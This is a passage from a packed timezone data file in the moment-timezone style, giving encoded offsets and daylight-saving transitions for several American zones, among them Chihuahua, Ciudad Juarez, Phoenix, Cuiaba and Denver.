Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0|92e5","America/Chihuahua|LMT MST CST MDT CDT|74.k 70 60 60 50|0121312424231313131313131313131313131313131313131313131313132|-1UQF0 deL0 8lc0 17c0 10M0 1dd0 2zQN0 1lb0 14p0 1lb0 14q0 1lb0 14p0 1nX0 11B0 1nX0 1fB0 WL0 1fB0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0|81e4","America/Ciudad_Juarez|LMT MST CST MDT CDT|75.U 70 60 60 50|0121312424231313131313131313131313131313131313131313131313132131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131313131|-1UQF0 deL0 8lc0 17c0 10M0 1dd0 2zQN0 1lb0 14p0 1lb0 14q0 1lb0 14p0 1nX0 11B0 1nX0 1fB0 WL0 1fB0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 U10 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1wn0 cm0 EP0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0|","America/Costa_Rica|LMT SJMT CST CDT|5A.d 5A.d 60 50|01232323232|-3eLun.L 1fyo0 2lu0n.L Db0 1Kp0 Db0 pRB0 15b0 1kp0 mL0|12e5","America/Phoenix|LMT MST MDT MWT|7s.i 70 60 60|012121313121|-3tFF0 1nEe0 1nX0 11B0 1nX0 SgN0 4Al1 Ap0 1db0 SWqX 1cL0|42e5","America/Cuiaba|LMT -04 -03|3I.k 40 30|012121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-2glwf.E HdLf.E 1cc0 1e10 1bX0 Ezd0 So0 1vA0 Mn0 1BB0 ML0 1BB0 zX0 qe10 xb0 2ep0 nz0 1C10 zX0 1C10 LX0 1C10 Mn0 H210 Rb0 1tB0 IL0 1Fd0 FX0 1EN0 FX0 1HB0 Lz0 1EN0 Lz0 1C10 IL0 1HB0 Db0 1HB0 On0 1zd0 On0 1zd0 Lz0 1zd0 Rb0 1wN0 Wn0 1tB0 Rb0 1tB0 WL0 1tB0 Rb0 1zd0 On0 1HB0 FX0 4a10 HX0 1zd0 On0 1HB0 IL0 1wp0 On0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 Rb0 1zd0 Lz0 1C10 Lz0 1C10 On0 1zd0 On0 1zd0 On0 1zd0 On0 1HB0 FX0|54e4","America/Danmarkshavn|LMT -03 -02 GMT|1e.E 30 20 0|01212121212121212121212121212121213|-2a5WJ.k 2z5fJ.k 19U0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1fA0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 1cM0 DC0|8","America/Dawson_Creek|LMT PST PDT PWT PPT MST|80.U 80 70 70 70 70|01213412121212121212121212121212121212121212121212121212125|-3tofX.4 1nspX.4 1in0 UGp0 8x10 iy0 3NB0 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1o10 11z0 1qN0 WL0 1qN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 ML0|12e3","America/Dawson|LMT YST YDT YWT YPT YDDT PST PDT MST|9h.E 90 80 80 80 70 80 70 70|0121213415167676767676767676767676767676767676767676767676767676767676767676767676767676767678|-2MSeG.k GWpG.k 1in0 1o10 13V0 Ser0 8x00 iz0 LCL0 1fA0 jrA0 fNd0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1z90|13e2","America/Denver|LMT MST MDT MWT MPT|6X.U 70 60 60 60|012121212134121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121212121|-3tFF0 1nEe0 1nX0 11B0 1nX0 11B0 1qL0 WN0 mn0 Ord0 8x20 ix0 LCN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1cN0 1cL0 1cN0 1cL0 s10 1Vz0 LB0 1BX0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 1cN0 1fz0 1a10 1fz0 1cN0 1cL0 1cN0 1cL0 1cN0 1cL0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 14p0 1lb0 14p0 1lb0 14p0 1nX0 11B0 1nX0 11B0 1nX0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Rd0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 Op0 1zb0 